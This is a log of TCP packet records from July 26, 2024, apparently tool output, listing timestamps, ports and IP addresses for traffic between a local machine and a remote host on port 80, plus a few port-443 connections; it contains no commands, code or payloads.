Jul 26, 2024 10:36:08.689136982 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.689152956 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.689167976 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.689177990 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.689213991 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.689279079 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.690344095 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.690359116 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.690375090 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.690395117 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.690432072 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.690473080 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.691325903 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.691340923 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.691356897 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.691400051 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.691402912 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.691416025 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.691420078 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.691437960 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.691488981 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.691998959 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.692014933 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.692028999 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.692044020 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.692056894 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.692097902 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.692949057 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.692964077 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.692977905 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.692991972 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.693000078 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.693006992 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.693052053 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.693190098 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.693954945 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.693972111 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.693986893 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.694003105 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.694026947 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.694045067 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.694107056 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.694870949 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.694894075 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.694910049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.694925070 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.694940090 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.694941998 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.694941998 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.694966078 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.695015907 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.695823908 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.695841074 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.695854902 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.695869923 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.695895910 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.695895910 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.695931911 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.696614027 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.696630001 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.696645021 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.696661949 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.696676970 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.696677923 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.696690083 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.696695089 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.696728945 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.696754932 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.697549105 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.697565079 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.697580099 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.697594881 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.697609901 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.697616100 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.697626114 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.697660923 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.697720051 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.698489904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.698506117 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.698520899 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.698534966 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.698549986 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.698575020 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.698575974 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.698657036 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.699435949 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.699451923 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.699466944 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.699481964 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.699489117 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.699497938 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.699513912 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.699546099 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.699546099 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.699579000 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.700382948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.700398922 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.700413942 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.700428009 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.700443029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.700457096 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.700463057 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.700463057 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.700510979 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.701354027 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.701376915 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.701420069 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.701436043 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.701448917 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.701459885 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.701459885 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.701483965 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.701527119 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.702291965 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.702306986 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.702321053 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.702334881 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.702348948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.702349901 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.702363968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.702369928 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.702411890 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.766185999 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.766249895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:09.207175016 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:09.218595982 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:09.224575996 CEST	49673	443	192.168.2.6	173.222.162.64
Jul 26, 2024 10:36:09.224839926 CEST	49674	443	192.168.2.6	173.222.162.64
Jul 26, 2024 10:36:09.537190914 CEST	49672	443	192.168.2.6	173.222.162.64
Jul 26, 2024 10:36:09.793848038 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:09.793965101 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:09.877300978 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:09.884799957 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:10.431763887 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:10.431890011 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:11.185853958 CEST	443	49705	173.222.162.64	192.168.2.6
Jul 26, 2024 10:36:11.185940027 CEST	49705	443	192.168.2.6	173.222.162.64
Jul 26, 2024 10:36:11.230101109 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:11.240000963 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:11.799637079 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:11.799696922 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.229024887 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.299793959 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.420197010 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.420258999 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.420270920 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.420334101 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.420375109 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.420564890 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.420578003 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.420589924 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.420600891 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.420617104 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.420677900 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.421086073 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.421169043 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.421170950 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.421181917 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.421194077 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.421207905 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.421219110 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.421232939 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.421262026 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.421302080 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.509669065 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.509684086 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.509696007 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.509830952 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.509830952 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.510600090 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.510613918 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.510685921 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.510685921 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.511089087 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.511101007 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.511137009 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.511213064 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.511224985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.511284113 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.511286020 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.511297941 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.511312008 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.511323929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.511342049 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.511342049 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.511389971 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.511795044 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.511810064 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.511821032 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.511831999 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.511842012 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.511852980 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.511878967 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.511878967 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.511925936 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.512798071 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.512811899 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.512823105 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.512834072 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.512845039 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.512856007 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.512861013 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.512868881 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.512902021 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.512958050 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.616828918 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.616843939 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.616854906 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.616873026 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.616884947 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.616895914 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.616905928 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.616982937 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.617012978 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.617233038 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.617244959 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.617264032 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.617275953 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.617285967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.617291927 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.617302895 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.617316961 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.617324114 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.617324114 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.617328882 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.617400885 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.617400885 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.618037939 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.618103027 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.618107080 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.618114948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.618149996 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.618792057 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.619544029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.619555950 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.619568110 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.619579077 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.619611025 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.619656086 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.619699001 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.619710922 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.619729042 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.619739056 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.619750023 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.619760036 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.619771004 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.619781971 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.619792938 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.619813919 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.619813919 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.619813919 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.619874954 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.620404005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.620415926 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.620507002 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.624494076 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.624506950 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.624524117 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.624550104 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.624562979 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.624571085 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.624574900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.624588013 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.624598980 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.624609947 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.624622107 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.624633074 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.624638081 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.624638081 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.624643087 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.624650002 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.624685049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.624690056 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.624749899 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.624749899 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.672586918 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.672599077 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.672610998 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.672734976 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.672761917 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.672780037 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.672791004 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.672804117 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.672827005 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.672852993 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.673062086 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.673074961 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.673080921 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.673090935 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.673113108 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.673125029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.673126936 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.673136950 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.673147917 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.673158884 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.673167944 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.673167944 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.673204899 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.673242092 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.673717976 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.673794985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.673801899 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.673813105 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.673846006 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.673882008 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.680083990 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.680145025 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.680150986 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.680156946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.680167913 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.680201054 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.680224895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.680401087 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.680443048 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.680495024 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.680506945 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.680552006 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.680593014 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.680604935 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.680614948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.680624962 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.680649042 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.680675983 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.680699110 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.680891037 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.680902958 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.680913925 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.680973053 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.680977106 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.680977106 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.680985928 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.681021929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.681022882 CEST	49710	80	192.168.2.6	85.28.47.31
